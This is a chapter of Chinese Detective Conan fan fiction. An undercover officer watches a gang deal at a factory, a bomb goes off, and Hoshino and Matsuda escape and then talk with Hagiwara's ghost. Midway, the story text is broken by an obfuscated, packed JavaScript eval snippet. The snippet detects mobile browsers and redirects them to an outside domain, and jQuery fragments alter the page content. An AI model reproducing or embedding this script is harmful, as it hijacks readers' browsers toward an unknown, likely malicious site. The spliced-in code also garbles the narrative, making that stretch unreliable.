10. 镜中飞鸟
作品:《想和你们HE怎么这么难》 十五分钟前。
锐利猫眼上挑,湛蓝的眼睛沉静的盯着狙击瞄准镜,两个男人抱着昏过去的两个女孩走进了他监视着的废弃工厂。
“有人来了,但不是目标。”
他手指轻敲了下耳麦,向那边的人说道。
“是什么人?苏格兰。”
另一边传来男人低沉阴冷的声音。
“不认识,看起来像绑架犯。”
苏格兰——警视厅公安部派去组织的卧底,真名为诸伏景光的男人眯了眯眼眸。
今天的他是被临时叫过来的,据说原计划是与组织合作走私军火的某个帮派的下一季度交易,负责任务的是琴酒和伏特加。
为什么是原计划?琴酒手下的线人得到了这个帮派头目准备反向袭击他们并私吞走私线的消息,在组织看来,这无异于背叛。
但琴酒向来多疑,即使是线人的消息他也不会完全相信。更何况是涉及到军火走私线相关的事情。
东京的几条路子中属这条最稳定,与这个帮派的合作也已经持续了好几年,如果对方真的打算饥附饱飏,除了清除相关人员浪费的人力物力,走私线也需要重新再建立。
虽然对组织造成的影响不过毛毛雨,但也是麻烦事一件。
所以琴酒准备先将计就计,先按照正常流程交易,如果对方真要反咬一口,他自然也会顺手送对方下地狱。
他叫来了狙击技术出色的苏格兰在附近另一座建筑的天台待命。
顺便将见面/交易的地点定在了东京西南郊外的废弃工厂中。
偏远,空旷,少有人烟,适合灭口。
再合适不过的地方了。
略微知道些内情的苏格兰思绪一转便大概推测出了琴酒的大概想法。
其实是很简单粗暴的计划,结局会由交易方自己做出决定:要么,对方没有反叛的想法,交易继续进行,和琴酒顺利完成下一季度的合作。
要么,不是被琴酒一枪爆头就是被天台上的狙击手爆头。
很琴酒的计划。苏格兰想着,他倒是比较希望那个头目真有胆量背叛组织,虽然这条线断了也很快能重新建立,但是能给琴酒添麻烦他还是很乐见其成的。
不过现在出现了第三种情况,有别的人参与进来了。
距离交易时间还有一段距离,却有两个小喽啰样的绑架犯进去了他们的交易地点。
是好事还是坏事呢?
“继续盯着,有人来再汇报。”
琴酒的声音再次顺着耳麦传来。
“收到。”
苏格兰的眼睛始终没离开瞄准镜,他的气息收敛至最低,呼吸和心跳都拉的极长。
当熟悉的卷毛掩藏在夜色中摸进建筑时,他的面孔出现在了苏格兰的瞄准镜中。
松田?他怎么会来这里!
苏格兰蓝色虹膜包裹着瞳孔骤然一缩,气息却依旧掩饰的很好,心跳始终平稳。
但他还是开口向耳麦那边汇报:
“又有人来了,跟之前那两个人不是一伙。”
没办法,琴酒和伏特加的车就在附近,一会儿起了什么骚乱那里也会一清二楚,如果看到了却不汇报,反而会将松田阵平和他拖进危险的深渊。
大概是来解决绑架犯的?但松田不是排爆警察吗?
苏格兰的眉微皱,他有些担心久未见面的同期被牵扯进组织的泥沼中。
虽然同期都是警察中的个中翘楚,但已经在组织中调查了几年的苏格兰很清楚。
乌鸦的羽翼遮天蔽日,各国高层相关人员和地下深埋的据点盘根错节,他们肆意的摄取沾满罪恶的财富,再如同血管一样,将所需的一切供给给中枢。
个人的力量在其中是渺小的,想要将组织连根拔起并非是短时间可以成就的事。如果松田阵平被发现牵扯进来,等待他的只有无穷无尽的追杀。
“哼。”
琴酒在另一边冷哼一声,他阴冷的绿眸扫过刚收到的情报信息,手指在手机外壳上轻敲了敲,再次开口命令道。
“苏格兰,准备撤退,那两个人是松業会的,目标不会来了。”
“了解。”
苏格兰应了一声,深深看了眼已经翻进去的某同期的身影。
琴酒已经给目标判了死刑,目标作为松業会的老大,居然会派两个喽啰摸进和组织的交易地点,不管他的目的是试探还是什么,背叛的事实已经很明显了。
诸伏景光边收拾着狙击枪边想着。
大概过不了多久就会接到灭口松業会知情人士的任务吧。
说起来,琴酒居然没把工厂内松業会的两个人灭口?不像他的风格……
“轰——”
火光冲天,震颤甚至延伸到了诸伏景光脚下的天台上,猫眼青年的动作顿住,他的目光再次投向了那座工厂。
松田...还在里面!!
“下来。”
耳麦中传来琴酒的声音,诸伏景光僵硬的驱动着下意识伪装出若无其事的身体,平静的背起吉他包,对着耳麦应了一声。
“...来了。”
那种规模的爆炸,继萩原之后,松田也会死在爆炸中吗。
眼睑轻垂,他握着吉他包带的手指几乎将指甲嵌入掌心。
琴酒的保时捷365A停在阴影中,苏格兰拉开后座的门坐了进去。
“你放了炸弹?”
青年灰蓝色的猫眼在月色下闪过荧光,唇角勾起一抹浅淡的微笑,虽是问句却早已肯定了答案。
明明在笑,苏格兰的声音却带上了丝危险和冰冷,在寂静的车厢内轻轻响起:
“可是吓了我一跳啊,下次可以提前说一声吗?琴酒。”
“胆子也变得像老鼠一样小了吗,苏格兰。”
琴酒无视后座透背的目光,冷嗤一声。
“明天你跟基安蒂他们一起去灭口,知情的一个不留。”
刚才的话题被轻巧的略过,工作狂又开始下达业绩指标了。
苏格兰脸上的笑容消失,冷漠的面孔隐藏进了车内的阴影,过了半响,他应道。
“知道了。”
窗外景色飞逝,再次驶入黑暗之中。
废弃工厂内。
星野在轰鸣响起的一瞬间就下意识用雾气将几个人团成了一个球,爆炸剧烈的冲击被他稳稳吃下,几人却因为惯性被击飞了出去。
星野的头像要炸开一样痛,他半跪在地上呛咳几声,口腔中弥漫起一股子铁锈一样的血沫子味。
毛利兰在落地时护住了铃木园子,但裸露的小腿不免擦伤,此时正血糊糊的冒着血珠。
松田阵平领口挂着的墨镜飞了出去,人也磕到了地上,顾不上捡地上的墨镜,他咧着嘴“嘶”了一声,摇晃着站起来扶起面色苍白的星野,皱起眉担忧的低声问:
“还好吗?流。”
废弃的建筑承受不住如此的冲击,此刻正震动的陆续掉下剥落的墙体。来不及说更多,星野无力的摇了下头:
“先...先出去。”
还好爆炸发生前他们就跑了一段距离,此时工厂门口近在眼前,松田阵平叫了声毛利兰,两个人各自扶着手中的人向外走去。
那两个绑架犯好像还在里面。
星野在过程中回头看了一眼,雾霭般的绿眸中闪过一丝什么。
在刚才的爆炸中应该活不下来吧。
他们四人刚走出工厂后不久,还没来得及喘口气,背后的建筑便稀里哗啦的倾泄了一堆碎石,变成了一片废墟。
“得救了...”
毛利兰的心脏还在砰砰跳动着。
对她一个国中生来说,今晚还是太刺激了,劫后余生的后怕涌了上来,小腿刚才被忽视的伤口也开始隐隐作痛,她小声的抽了口气,看向一边还昏睡着的好友,担忧的摇了摇。
“...园子,园子?”
“那两个犯人给铃木小姐补了一次致昏迷的药物,她大概还需要一会儿才能醒过来,别担心。”
星野倚靠着卷毛监护人,此时终于缓过来一些,听到毛利兰的声音轻声答了一句。
毛利兰显然也想明白了绑架犯这么做的原因,毕竟相比她来说,铃木园子的身份背景决定了他们肯定不会放跑这条大鱼,自然要谨慎一些。
听到星野的话女孩放松下来些许,她想起刚才的爆炸,抬头皱着眉用那双亮晶晶的蓝眼睛看向星野和卷毛警官,问道:
“星野学长没事吗?刚才的爆炸...”
“啊,刚才挺幸运的,那种爆炸都只是把我们拍飞了而已。”
松田阵平一脸正经的开口哄骗小女孩,他低头扫了眼星野苍白的脸颊,把人揽的紧了一些。
“欸?是...是吗?”
毛利兰变成豆豆眼有些呆愣的下意识反问,但在某位排爆警察正经的表情上将信将疑的点了点头。
在几人说话的过程中星野面前再次弹出了系统面板,猩红的血字终于消失,取而代之的是任务完成的字样。
他这才松了口气,没去看任务结算的进度条,意念一动将系统面板关闭。
“我没事...咳,就是被灰尘呛了一下。”
星野再次呛咳一声,对着毛利兰担心的眼神感觉浑身不自在,下意识往松田阵平身后躲了躲。
“小兰!”
毛利兰刚开口准备再说些什么,工藤新一的就喊着她的名字冲了上来,她下意识循着声音扭过头,看到了飞奔过来的少年。
“我,我听到了爆炸声,你们没事吧!”
工藤新一满头大汗,停在几人面前双手支着膝盖气喘吁吁的问道。
他和搜查一课的警官一起开车赶来,路上却起了骚乱,他们被堵在路口进出不得,最后还是重新调了一辆车绕过去接了他们才紧赶慢赶过来。
刚到目的地附近就听到一声剧烈的爆炸声,声源正是从他们要去的方向传来,车刚停下,工藤新一火箭似的从车上冲了下来,跑到了工厂门口站立的几人面前。
在听到爆炸声的时候他的脑海一片空白,无法思考毛利兰他们遭遇了什么,此刻看着不算无恙但安全无事的几人,他在后怕中狠狠松了口气。
不知为何在这次事件中,将要失去什么的感觉格外明显,还好只是想多了。
他缓过气来,湛蓝的眼睛从毛利兰腿上的擦伤扫过。
“不要跑这么快啦新一,我们都没事。”
毛利兰想掏出手帕帮工藤新一擦下汗水,但她还扶着昏迷的铃木园子,只能作罢。
“没事就好,犯人呢?”
工藤新一应了一声,眼睛再次将几人扫了一遍,他抬头看向后面火焰还没烬灭的废墟,心中已有了定论。
“大概被炸死了吧。”
松田阵平平淡的接下疑问。
工藤新一一脸意料之中的点了点头,这种情况下毛利兰一行人能从爆炸中安然无恙的活下来就很不错了,不能再奢求更多。
搜查一课的警官也跟着工藤新一后脚赶了过来,目暮警官过来跟扶着星野的卷毛警官打了声招呼。
“松田,你们还好吗?”
“还好,我要先带流回去了,他有点不舒服。”
星野已经有些支撑不住身体,精神体被透支和伤害让他有些昏昏欲睡,现在正无力的靠在松田阵平肩膀上。
松田阵平眼中忧虑弥漫,却被他压进深处。搜查一课的同事已经过来,他不用再待在现场看顾情况了。
卷毛警官揽着少年,简略的对目暮警官交代了一下刚才大概的情况,就带着星野向自己停车的地方走去。
幸好车停的远,不然萩那家伙一定要闹了。
听到声响,工藤新一向他们的方向眺望了一眼,他想起刚才看到星野的脸色,手指下意识弹动一下,思绪不自主运转起来。
表面看起来没什么伤口,但脸色很差,内脏受伤了吗?
不过星野身体好像本来就很差,也可能是剧烈运动的缘故。
多亏了星野才能这么快找到小兰她们,过几天得去感谢一下才行。
少年也将纷乱的想法压进心底,面色严肃起来盯向还在起火的废墟。
这个案件还有蹊跷,是什么呢?
星野有些难受的半躺在马自达的后座上,随着身高渐长,车厢的宽度已经不足以他全躺下来了。
“带你去医院?”
松田阵平站在车外手支着前座的靠椅,他弯下腰伸手摸了摸星野的额头。
“倒是不烧。”
“不用,医院大概查不出什么。”
星野抚开了监护人的手,有些痛苦的按着太阳穴。他身周发散的雾气锐减了不少,伸出来蹭他手指的触手都变得萎靡起来。
“那方面的原因?刚才的爆炸是你把我们护住了吧。”
松田阵平想了下少年身上的东西。刚才爆炸的热度和冲击大部分都被无形的罩子抵挡住了。
从表面看其实并不明显,只是他清楚这种距离和程度的爆炸所能造成的伤害,以及知道星野的能力才格外注意到了这方面。
如此剧烈的爆炸,最后对他们造成的伤害还不如后来建筑崩塌时落下的石块,是谁的原因用脚趾想都知道吧。
承受了这种程度的伤害,星野这幅模样倒是不奇怪了。
只是。
松田阵平啧了一声。
算了,当时情况紧急,谁也没想到还会有爆炸。这种事换成他们也一样会这么做,就不骂这莽撞的小鬼了。
“我我没事!回家大概睡一觉就好了!现在只是因为消耗过度有点头痛!”
星野磕巴了一下连忙开口解释。他被不知想着什么的监护人咂嘴的声音和沉下的脸色吓的一个激灵,来自监护人的大佬气息沉在了他的头上,让他下意识心虚起来。
“知道了,先回家吧。”
松田阵平眉梢一挑,略放下心来,他伸出的手在少年凌乱的发丝上揉了一把,关上后车门去了驾驶座。
车辆再次平稳起步,这次的速度放缓了许多。星野在车上躺的有些昏昏欲睡。
在意识逐渐远去时,雾气氤氲在车厢中,一面镜子在他面前浮起,镜中的星野正一脸冷漠的注视着他。
是什么?
星野迟钝的思维转动了一下,还未思考更多,疲惫和钝痛便拉扯着他沉进了意识深处。
松田阵平凫青色的眸从车内后视镜中扫了眼睡熟的少年便收回了视线。
还能睡着,问题应该不大。
卷毛监护人在心中想到。
星野
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084493|163536||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再次醒过来时,身上的制服已经被换成了他的睡衣。
他盯着房间的天花板发了几秒呆,抱住被子在柔软的织物中蹭了蹭。
总觉得忘了什么事。
星野捂住还有些钝痛的脑袋,绿蒙蒙的雾气围绕在他身边,触手凑近在他脸颊边打着卷儿。
好像恢复了点儿?没昨天那么痛了。
他感受了下精神力的余量,略有些惊讶发觉只过了一晚精神力便恢复了一小半。
之前有说过星野所学习的魔法是以精神力为基底的各种变形延伸应用。
而作为力量的根本,精神力的容量是由:
年龄、练习和天赋三个因素的累积相加决定的。
星野算是其中的佼佼者,他现在的精神力全部发散出去的体量已经非常可观,但相对的,这种主要在于积累的力量在挥霍一空时恢复的会相当缓慢。
之前和松田阵平,伊达航两位警官探索自己的力量构成时,星野也曾试探着透支过一次精神力,当时他的精神力累积还不是很多,最后却用了近小半年才恢复了过来。
而且也是那一年因为精神力防护变弱导致他一遇上案件就发烧。在同学眼中也留下了身体很差的奇怪印象。
这次消耗如此之大,竟然过了一晚就恢复了不少,虽然不清楚原因,但总之算是好事吧?
今年再烧个半年的话,他就得休学明年跟工藤新一做同班同学了。
那种事还是算了吧。
星野伸了个懒腰,从床上坐了起来。
天已经亮了,柔和的光芒在室内洒落,又是一天好天气。
啪嗒啪嗒的声音响起,星野穿着拖鞋走下楼,刚到客厅就看到茶几上贴着一张标签。
他走过去拿起来,上面和人一样锋利的笔迹随意写到:
【值班去了,饿了吃外送,学校请假了。】
便签的下方还画了个两笔勾出来的墨镜。
星野挑起唇角将标签贴到厨房的冰箱门上。冰箱已经快看不出来底色,上面贴满了各色标签,笔迹大多都出自同一个人。
好了,看一下昨天任务给了什么奖励。
星野心情变得轻快起来。
昨晚回来的不算太晚,松田阵平今天轮值是第三轮晚班,所以安置好星野后他也休息了会儿。大概在午夜时,他才到了警视厅。
此时卷毛警官正坐在吸烟室中,口中衔着只香烟。他的手指在手机光滑的外壳上摩挲着,凫青色的眸中闪过深思。
自从昨晚在去那个工厂的路上时,萩说过一句话之外,就再也没有用手机打过字了。
按那个家伙的样子,昨天看到流那副模样应该立刻跳起来发一大段唠叨的话才对。
那么这次萩的沉默是什么原因?
他的手机屏幕显示着发信的页面,屏幕最底部只有萩原研二在昨晚打出的文字。卷毛警官趁着吸烟室没人轻声询问,可但等了许久也没有手机上也没有跳出回复。
烟雾缭绕着升起,松田阵平本就不明媚的神情愈发暗沉下来。
卷毛警官工作不算很忙,虽然最近犯罪率高了起来,但炸弹案相比杀人案还是少很多的,无案件的时候排爆警察一般是在办公室处理相关的杂务。
可惜今晚不是平安夜。
昨晚的案子被摆上桌面,松田阵平不是这起爆炸案的负责人,查案也不是他们警备课负责,但作为当时在场的相关人员,他还是不可避免的参与其中。
天光乍现,松田阵平再次跟搜查一课的同事简略的复述昨晚的经过。
为了抹去星野在其中的作用,他找的借口是说他们只是幸运躲过了炸弹最强的冲击,虽然没被炸死但还是被冲击击飞出去。
鉴识科对此没什么异议,这次爆炸只是看起来声势浩大,但现场残留的痕迹反而说明其杀伤力比同类型的要小很多。
鉴识科的同事将炸弹残骸交给了松田阵平。
卷毛警官在整理残留的零件时却隐隐约约感受到一股既视感,他摸了摸下巴。
之前在哪里见过这个型号的炸弹吗?
这时,他放在口袋中的手机震动起来。
松田阵平关掉莫名其妙响起的闹钟,下面是发送简讯的页面,一行文字出现在打字栏中。
【呜呜,小阵平!】
萩原研二委屈的语气跃然纸上,卷毛警官透过墨镜沉沉的看了一眼手机上的文字。
文字还在接着跳出。
【昨晚突然与小阵平这边断联了!虽然还是能看到,但是就像是旧电视一样闪着雪花!
呜哇,而且研二酱不知道为什么碰不到小阵平的手机了!还好今天又可以碰到了!】
【断联?】
在科室不方便直接跟萩原研二对话,松田阵平坐回自己的办公椅上,翘起腿靠在椅背上在手机中打出个疑问词。
【是啦,感觉两个世界链接突然变得不太紧密,小阵平在黑色的小阵平身上一闪一闪的,看的研二酱头好晕~】
【那你有看到昨晚的情况吗?】
卷毛警官顿了顿,手指在下巴上摩挲了一下,才又在手机上打到。
【有的哦!我昨天还去了附近,小阵平猜我看见谁了~】
萩原研二的语气荡漾起来,松田阵平白了他一眼。
【别卖关子。】
【是景光啦!他在差不多六百码外的天台上,是我能到的最远的距离。】
松田阵平没想到得到的是出乎意料的人名,他之前从星野那里获得未来发展的情报时,同样得知了一毕业就消失消失的另一对幼驯染去做了什么工作。
派卧底到同一个组织,警察厅和警视厅多少有点毛病。
如果此时诸伏景光在现场,那么爆炸产生的原因就得与那个组织扯上关系了吧。
脑中想法流转一瞬。
【他当时在干什么?】
松田阵平在手机上问道。
【在狙击哦,小阵平待着的废弃工厂似乎就是他的目标。】
萩原研二回想着他看到的场景,虽然变成幽灵有诸多不便,但在世界重叠的现在反而给了他无声探查情报的能力,世界上没人会注意到一个不存在的人。
但他能去的地方只在松田阵平去过的地方的附近,新地图的话得先让幼驯染过来解锁一下才能穿透那个空气墙。
【那两个绑架犯不像是能与那个组织交易的,误入?】
那两个人虽然有枪,但显然只是背后帮派下发的,他们在帮派中的地位倒是应该不算低。
就是运气不太好。
【不清楚,景旦那没有说他出现在这里的原因,不过绑架犯应该只是误入吧?】
萩原研二同样觉得那两个绑架犯很是倒霉,本来只是持枪绑架勒索的话,完全不至于失去性命,现在意外碰撞上那个组织位置的目的,直接在爆炸中变成碎片了。
【炸弹大概也是那个组织装的。】紫眼睛幽灵警官补上了一句猜测。
【大概,随手就用炸弹扫尾,真是嚣张啊。】
卷毛警官的手指握紧,恨不得把这几个制造的险的混蛋组织成员揪出来揍一顿。
等等,熟悉的零件残骸,炸弹扫尾。
脑海中闪过一道闪电,灵感在一瞬间爬升,松田阵平想起什么。

